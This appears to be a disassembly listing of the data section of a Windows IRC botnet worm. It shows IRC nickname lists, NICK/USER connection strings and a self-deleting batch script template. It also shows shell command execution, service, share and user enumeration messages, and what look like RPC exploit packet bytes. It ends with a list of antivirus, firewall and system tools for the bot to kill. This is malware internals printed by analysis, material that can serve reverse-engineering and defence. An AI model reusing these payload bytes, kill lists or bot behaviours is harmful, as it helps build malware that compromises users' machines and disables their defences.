___:00438A6Co aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00438A64o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00438A60o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00438A5Co align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00438A58o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:00438A54o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00438A50o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00438A4Co align 10h aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00438A48o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00438A44o align 10h aCool30m db 'cool30m',0 ; DATA XREF: ___:00438A40o aTropikal db 'tropikal',0 ; DATA XREF: ___:00438A3Co align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:00438A38o align 10h aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00438A34o align 4 aUla db 'ula',0 ; DATA XREF: ___:00438A30o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00438A2Co aAkden db 'akden',0 ; DATA XREF: ___:00438A28o align 10h aKoray db 'KORAY',0 ; DATA XREF: ___:00438A24o align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00438A20o align 10h aFirtina db 'firtina',0 ; DATA XREF: ___:00438A1Co aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438A18o aM41ist db 'M41IST',0 ; DATA XREF: ___:00438A14o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438A10o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:00438A0Co align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00438A08o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:00438A04o align 4 aDevre db 'devre',0 ; DATA XREF: ___:00438A00o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:004389FCo align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:004389F8o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:004389F4o align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:004389F0o align 4 off_438E98 dd offset byte_4B5245 ; DATA XREF: ___:004389ECo aSevda db 'sevda',0 ; DATA XREF: ___:004389E8o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:004389E4o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:004389E0o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:004389DCo align 10h aKapk db 'kapk',0 ; DATA XREF: ___:004389D8o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:004389D4o align 4 aHayran db 'hayran',0 ; DATA XREF: ___:004389D0o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:004389CCo align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:004389C8o align 10h aDjspace db 'DJSPACE',0 ; DATA XREF: ___:004389C4o aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:004389C0o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:004389BCo align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:004389B8o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:004389B4o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:004389B0o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:004389ACo align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:004389A8o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:004389A4o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:004389A0o align 10h aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:0043899Co align 10h aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00438998o aHoly db 'holy',0 ; DATA XREF: ___:00438994o align 10h aFlord db 'FLoRD',0 ; DATA XREF: ___:00438990o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:0043898Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00438988o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00438984o align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00438980o align 10h aRamtha db 'RAMTHA',0 ; DATA XREF: ___:0043897Co align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00438978o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:00438974o align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00438970o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:0043896Co aArda db 'arda',0 ; DATA XREF: ___:00438968o align 4 aDevran db 'devran',0 ; DATA XREF: ___:00438964o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00438960o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:0043895Co align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00438958o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00438954o align 10h aBogac db 'bogac',0 ; DATA XREF: ___:00438950o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:0043894Co align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:00438948o align 4 off_43902C dd offset byte_457441 ; DATA XREF: ___:00438944o dword_439030 dd 414C5941h, 2Dh ; DATA XREF: ___:00438940o aAlbina db 'albina',0 ; DATA XREF: ___:0043893Co align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00438938o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:00438934o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:00438930o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:0043892Co align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:00438928o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:00438924o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00438920o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:0043891Co align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438918o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00438914o aAslii db 'aslii',0 ; DATA XREF: ___:00438910o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:0043890Co aHaticem db 'haticem',0 ; DATA XREF: ___:00438908o aArzu db 'ARZU',0 ; DATA XREF: ___:00438904o align 10h aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438900o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:004388FCo align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:004388F8o align 10h aTekir db 'tekir',0 ; DATA XREF: ___:004388F4o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:004388F0o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:004388ECo align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:004388E8o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:004388E4o align 4 aMary_0 db 'MARY',0 ; DATA XREF: ___:004388E0o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:004388DCo aTolga34 db 'Tolga34',0 ; DATA XREF: ___:004388D8o aMisssunday db 'misssunday',0 ; DATA XREF: ___:004388D4o align 10h aIrmal db 'irmal',0 ; DATA XREF: ___:004388D0o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:004388CCo align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:004388C8o align 10h aHexaaa db 'hexaaa',0 ; DATA XREF: ___:004388C4o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:004388C0o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:004388BCo align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:004388B8o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:004388B4o align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:004388B0o aReshma db 'reshma',0 ; DATA XREF: ___:004388ACo align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:004388A8o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:004388A4o align 4 aImra db 'imra',0 ; DATA XREF: ___:004388A0o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:0043889Co align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00438898o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:00438894o align 4 aManee db 'manee',0 ; DATA XREF: ___:00438890o align 4 aTroller db 'troller',0 ; DATA XREF: ___:0043888Co aLuisa db 'Luisa',0 ; DATA XREF: ___:00438888o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:00438884o align 10h aRimpy db 'rimpy',0 ; DATA XREF: ___:00438880o align 4 aJanno db 'janno',0 ; DATA XREF: ___:0043887Co align 10h aBunty db 'bunty',0 ; DATA XREF: ___:00438878o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00438874o align 10h aCme db 'cme',0 ; DATA XREF: ___:00438870o aMarcy db 'marcy',0 ; DATA XREF: ___:0043886Co align 4 aTalika db 'talika',0 ; DATA XREF: ___:00438868o align 4 aShez db 'Shez',0 ; DATA XREF: ___:00438864o align 4 aKen db 'ken',0 ; DATA XREF: ___:00438860o aFlexster db 'flexster',0 ; DATA XREF: ___:0043885Co align 4 aKoko db 'koko',0 ; DATA XREF: ___:00438858o align 4 aMale db 'male',0 ; DATA XREF: ___:00438854o align 4 aSwin db 'swin',0 ; DATA XREF: ___:00438850o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:0043884Co aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00438848o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:00438844o align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00438840o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:0043883Co aFarooq db 'farooq',0 ; DATA XREF: ___:00438838o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00438834o align 4 aM_0: ; DATA XREF: ___:00438830o ; ___:00438B7Co unicode 0, <M>,0 word_439298 dw 4Eh ; DATA XREF: sub_41A3C6+38r ; ___:0043882Co align 4 dword_43929C dd 42h ; DATA XREF: ___:00438828o dword_4392A0 dd 56h ; DATA XREF: ___:00438824o dword_4392A4 dd 43h ; DATA XREF: ___:00438820o dword_4392A8 dd 58h ; DATA XREF: ___:0043881Co ; ___:00438BB0o dword_4392AC dd 5Ah ; DATA XREF: ___:00438818o dword_4392B0 dd 4Ch ; DATA XREF: ___:00438814o dword_4392B4 dd 4Bh ; DATA XREF: ___:00438810o dword_4392B8 dd 4Ah ; DATA XREF: ___:0043880Co dword_4392BC dd 48h ; DATA XREF: ___:00438808o dword_4392C0 dd 47h ; DATA XREF: ___:00438804o dword_4392C4 dd 46h ; DATA XREF: ___:00438800o ; ___:00438B78o dword_4392C8 dd 44h ; DATA XREF: ___:004387FCo dword_4392CC dd 53h ; DATA XREF: ___:004387F8o dword_4392D0 dd 50h ; DATA XREF: ___:004387F0o dword_4392D4 dd 4Fh ; DATA XREF: ___:004387ECo dword_4392D8 dd 55h ; DATA XREF: ___:004387E4o word_4392DC dw 59h ; DATA XREF: sub_41A6EA+38r ; ___:004387E0o align 10h dword_4392E0 dd 54h ; DATA XREF: ___:004387DCo dword_4392E4 dd 52h ; DATA XREF: ___:004387D8o dword_4392E8 dd 45h ; DATA XREF: ___:004387D4o dword_4392EC dd 57h ; DATA XREF: ___:004387D0o dword_4392F0 dd 51h ; DATA XREF: ___:004387CCo dword_4392F4 dd 62h ; DATA XREF: ___:004387C0o ; ___:00438B8Co dword_4392F8 dd 78h ; DATA XREF: ___:00438B0Co dword_4392FC dd 7Ah ; DATA XREF: ___:00438B14o ; ___:00438B44o dword_439300 dd 6Ch, 68h ; DATA XREF: ___:004387ACo ; ___:00438AE0o dword_439308 dd 67h, 66h, 64h ; DATA XREF: ___:00438B48o dword_439314 dd 79h ; DATA XREF: ___:00438B10o dword_439318 dd 77h ; DATA XREF: ___:00438B08o dword_43931C dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B76+B1o dword_439328 dd 323334h ; DATA XREF: sub_417B76+79o dword_43932C dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B76+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C61+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E84+BCo ; sub_417E84+175r ... align 4 dword_439374 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4393C0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4182CD+E3o ; --------------------------------------------------------------------------- loc_4393DC: ; DATA XREF: sub_4182CD+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_4393F0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_4182CD+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4187E0+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4188A6+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4188A6+48o align 4 unk_4394A4 db 2Dh ; - ; DATA XREF: sub_418A2E+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_4394D4 db 2Dh ; - ; DATA XREF: sub_418A2E+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_4394FC dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_418A2E+5Co dd 65726165h, 64h off_439518 dd offset aAdd ; DATA XREF: sub_418C0E+60r ; sub_418FE5+51r ... ; "Add" off_43951C dd offset aAdded ; DATA XREF: sub_418C0E+2Dr ; sub_418FE5+83r ... ; "Added" dword_439520 dd 0 ; DATA XREF: sub_418C0E+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 43958Ch, 439584h, 2, 439578h, 43956Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0043954Co aStop_0 db 'Stop',0 ; DATA XREF: ___:00439548o align 4 aStarted db 'Started',0 ; DATA XREF: ___:00439540o aStart_0 db 'Start',0 ; DATA XREF: ___:0043953Co align 4 aListed db 'Listed',0 ; DATA XREF: ___:00439534o align 4 aList_1 db 'List',0 ; DATA XREF: ___:00439530o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:00439528o aDelete_0 db 'Delete',0 ; DATA XREF: ___:00439524o align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_43951Co align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_439518o unk_4395E0 db 2Dh ; - ; DATA XREF: sub_418C0E+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_439604 db 2Dh ; - ; DATA XREF: sub_418C0E+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_439630 db 2Dh ; - ; DATA XREF: sub_418C0E+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_418D2A:loc_418E34o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_418D2A:loc_418E2Do align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_418D2A:loc_418E26o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E1Fo align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_418D2A:loc_418E11o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_418D2A:loc_418E0Ao db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E03o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_418D2A:loc_418DD8o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_418D2A:loc_418DD1o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_418D2A:loc_418DCAo db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_418D2A:loc_418DC3o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_418D2A:loc_418D98o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_418D2A:loc_418D8Eo aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_418D2A:loc_418D84o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_418D2A:loc_418D70o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418EA8+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_418EA8:loc_418F74o aStarting db ' Starting',0 ; DATA XREF: sub_418EA8:loc_418F6Do aStoping db ' Stoping',0 ; DATA XREF: sub_418EA8:loc_418F66o aRunning db ' Running',0 ; DATA XREF: sub_418EA8:loc_418F5Fo aContinuing db ' Continuing',0 ; DATA XREF: sub_418EA8:loc_418F58o aPausing db ' Pausing',0 ; DATA XREF: sub_418EA8:loc_418F51o aPaused_0 db ' Paused',0 ; DATA XREF: sub_418EA8:loc_418F4Ao aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418EA8+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_418EA8+25o align 4 unk_439B84 db 2Dh ; - ; DATA XREF: sub_418FE5+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_439BA8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418FE5+8Ao dd 73252720h, 27h unk_439BC4 db 2Dh ; - ; DATA XREF: sub_418FE5+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_4191DB+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_4191DB+B5o unk_439C10 db 2Dh ; - ; DATA XREF: sub_4191DB+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_4191DB+26o align 10h unk_439C70 db 2Dh ; - ; DATA XREF: sub_4192FC+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_439C98 db 2Dh ; - ; DATA XREF: sub_4192FC+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_439CC8 db 2Dh ; - ; DATA XREF: sub_4192FC+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_439CE8 db 2Dh ; - ; DATA XREF: sub_419443+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419443+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419443+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419443+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419443+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_419443:loc_419562o align 4 aUser_0 db 'User',0 ; DATA XREF: sub_419443:loc_41955Bo align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_419443:loc_419554o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419443+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419443+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_419443+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo align 4 unk_439EA4 db 2Dh ; - ; DATA XREF: sub_41982C+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_41982C+BEo align 4 unk_439ED8 db 2Dh ; - ; DATA XREF: sub_41982C+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_4199AC:loc_419A90o db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_4199AC+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_4199AC:loc_419A57o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_4199AC:loc_419A49o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4199AC:loc_419A0Fo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_4199AC:loc_4199FBo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo align 10h dword_43A1E0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419AE0+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_43A20C db 2Dh ; - ; DATA XREF: sub_419AE0+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_43A238 dd offset aRegedit_exe ; DATA XREF: sub_419C09+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_43A340 dd offset dword_43A334 dd offset dword_43A328 dd offset dword_43A31C dd offset dword_43A310 dd offset dword_43A304 dd offset dword_43A2F4 dd offset dword_43A2E8 dd offset dword_43A2DC dd offset dword_43A2D0 dd offset dword_43A2C4 dd offset dword_43A2B4 dd offset dword_43A2A8 dd offset dword_43A298 dword_43A298 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419C09+ECo ; ___:0043A294o dword_43A2A8 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o dword_43A2B4 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:0043A28Co dword_43A2C4 dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:0043A288o dword_43A2D0 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o dword_43A2DC dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o dword_43A2E8 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co dword_43A2F4 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:0043A278o dword_43A304 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:0043A274o dword_43A310 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:0043A270o dword_43A31C dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:0043A26Co dword_43A328 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:0043A268o dword_43A334 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:0043A264o dword_43A340 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:0043A260o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:0043A254o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:0043A250o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:0043A24Co align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:0043A248o align 10h aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:0043A244o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:0043A240o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:0043A23Co align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_43A238o aSD_0 db ' %s 